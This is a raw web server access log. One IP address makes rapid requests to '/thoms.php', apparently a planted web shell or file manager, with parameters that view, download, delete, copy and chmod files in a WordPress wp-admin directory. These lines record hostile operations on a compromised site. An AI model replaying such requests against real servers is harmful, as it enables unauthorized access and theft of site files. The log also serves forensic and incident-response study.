45.135.193.11 - - [11/Sep/2026:23:26:05 -0400] "GET /thoms.php?chmod=link-parse-opml.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=link-parse-opml.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:05 -0400] "GET /thoms.php?dl=link-manager.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28990 "http://163.245.207.76:443/thoms.php?dl=link-manager.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:05 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=load-styles.php HTTP/1.1" 200 13340 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=load-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:05 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=privacy-policy-guide.php HTTP/1.1" 200 13547 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=privacy-policy-guide.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:05 -0400] "GET /bossini.com.tw/wp-admin HTTP/1.1" 301 795 "http://163.245.207.76:443/bossini.com.tw/wp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:05 -0400] "GET /thoms.php?del=profile.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28992 "http://163.245.207.76:443/thoms.php?del=profile.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:05 -0400] "GET /thoms.php?chmod=admin-ajax.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=admin-ajax.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:05 -0400] "GET /thoms.php?chmod=customize.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=customize.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:05 -0400] "GET /bossini.com.tw/wp-admin/ HTTP/1.1" 302 0 "https://163.245.207.76:443/bossini.com.tw/wp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:06 -0400] "GET /thoms.php?chmod=user-new.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=user-new.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:06 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=edit-form-advanced.php HTTP/1.1" 200 22464 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=edit-form-advanced.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:06 -0400] "GET /thoms.php?del=admin-ajax.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28990 "http://163.245.207.76:443/thoms.php?del=admin-ajax.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:06 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=edit-comments.php HTTP/1.1" 200 16623 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=edit-comments.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:06 -0400] "GET /thoms.php?dl=custom-header.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28990 "http://163.245.207.76:443/thoms.php?dl=custom-header.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:06 -0400] "GET /thoms.php?dl=error_log&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28992 "http://163.245.207.76:443/thoms.php?dl=error_log&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:06 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=link-add.php HTTP/1.1" 200 12379 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=link-add.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:06 -0400] "GET /thoms.php?dl=link-parse-opml.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29005 "http://163.245.207.76:443/thoms.php?dl=link-parse-opml.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:06 -0400] "GET /thoms.php?chmod=my-sites.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=my-sites.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:06 -0400] "GET /bossini.com.tw/wp-admin/nav-menus.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:06 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=options.php HTTP/1.1" 200 17276 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=options.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:07 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=term.php HTTP/1.1" 200 12957 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=term.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:07 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fterm.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fterm.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:07 -0400] "GET /thoms.php?chmod=js&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=js&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:07 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Finstall-helper.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Finstall-helper.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:07 -0400] "GET /thoms.php?chmod=theme-install.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=theme-install.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:07 -0400] "GET /thoms.php?del=about.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28934 "http://163.245.207.76:443/thoms.php?del=about.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:07 -0400] "GET /thoms.php?del=revision.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28990 "http://163.245.207.76:443/thoms.php?del=revision.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:07 -0400] "GET /thoms.php?chmod=widgets-form-blocks.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=widgets-form-blocks.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:07 -0400] "GET /thoms.php?del=upload.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28990 "http://163.245.207.76:443/thoms.php?del=upload.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:07 -0400] "GET /thoms.php?chmod=credits.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=credits.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:07 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=edit-tag-form.php HTTP/1.1" 200 15325 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=edit-tag-form.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:07 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fmedia-upload.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fmedia-upload.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:07 -0400] "GET /bossini.com.tw/wp-admin/index.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:08 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=options-reading.php HTTP/1.1" 200 15556 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=options-reading.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:08 -0400] "GET /bossini.com.tw/wp-admin/upload.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:08 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fsite-health-info.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fsite-health-info.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:08 -0400] "GET /thoms.php?chmod=edit-tag-form.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=edit-tag-form.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:08 -0400] "GET /thoms.php?dl=custom-background.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28991 "http://163.245.207.76:443/thoms.php?dl=custom-background.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:08 -0400] "GET /bossini.com.tw/wp-admin/menu-header.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:08 -0400] "GET /bossini.com.tw/wp-admin/media-upload.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:08 -0400] "GET /thoms.php?dl=export.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28992 "http://163.245.207.76:443/thoms.php?dl=export.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:08 -0400] "GET /bossini.com.tw/wp-admin/options-reading.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:08 -0400] "GET /thoms.php?del=options-writing.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28991 "http://163.245.207.76:443/thoms.php?del=options-writing.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:09 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fplugins.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11436 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fplugins.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:09 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fedit-tag-form.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fedit-tag-form.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:09 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=menu-header.php HTTP/1.1" 200 15390 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=menu-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:09 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=plugin-install.php HTTP/1.1" 200 14900 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=plugin-install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:09 -0400] "GET /thoms.php?dl=load-scripts.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29030 "http://163.245.207.76:443/thoms.php?dl=load-scripts.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:09 -0400] "GET /bossini.com.tw/wp-admin/term.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:09 -0400] "GET /thoms.php?dl=privacy-policy-guide.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28990 "http://163.245.207.76:443/thoms.php?dl=privacy-policy-guide.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:09 -0400] "GET /thoms.php?chmod=tools.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=tools.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:09 -0400] "GET /thoms.php?chmod=upgrade-functions.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=upgrade-functions.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:09 -0400] "GET /bossini.com.tw/wp-admin/link-add.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:09 -0400] "GET /thoms.php?dl=load-styles.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28989 "http://163.245.207.76:443/thoms.php?dl=load-styles.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:10 -0400] "GET /thoms.php?dl=ms-users.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28991 "http://163.245.207.76:443/thoms.php?dl=ms-users.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:10 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=nav-menus.php HTTP/1.1" 200 26257 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=nav-menus.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:10 -0400] "GET /bossini.com.tw/wp-admin/site-editor.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:10 -0400] "GET /thoms.php?chmod=widgets.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=widgets.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:10 -0400] "GET /thoms.php?chmod=images&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=images&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:10 -0400] "GET /thoms.php?del=plugin-editor.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28991 "http://163.245.207.76:443/thoms.php?del=plugin-editor.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:10 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fexport.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fexport.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:10 -0400] "GET /thoms.php?dl=edit.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28990 "http://163.245.207.76:443/thoms.php?dl=edit.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:10 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Finstall.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Finstall.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:10 -0400] "GET /thoms.php?chmod=media-upload.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=media-upload.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:10 -0400] "GET /bossini.com.tw/wp-admin/menu.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:10 -0400] "GET /bossini.com.tw/wp-admin/includes/ HTTP/1.1" 200 4183 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:10 -0400] "GET /thoms.php?chmod=media.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=media.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:11 -0400] "GET /thoms.php?chmod=includes&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=includes&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:11 -0400] "GET /bossini.com.tw/wp-admin/customize.php HTTP/1.1" 403 1171 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:11 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fuser&p= HTTP/1.1" 200 12337 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fuser&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:11 -0400] "GET /bossini.com.tw/wp-admin/privacy-policy-guide.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:11 -0400] "GET /bossini.com.tw/wp-admin/revision.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:11 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fsetup-config.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fsetup-config.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:11 -0400] "GET /bossini.com.tw/wp-admin/custom-background.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:11 -0400] "GET /thoms.php?chmod=admin-header.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=admin-header.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
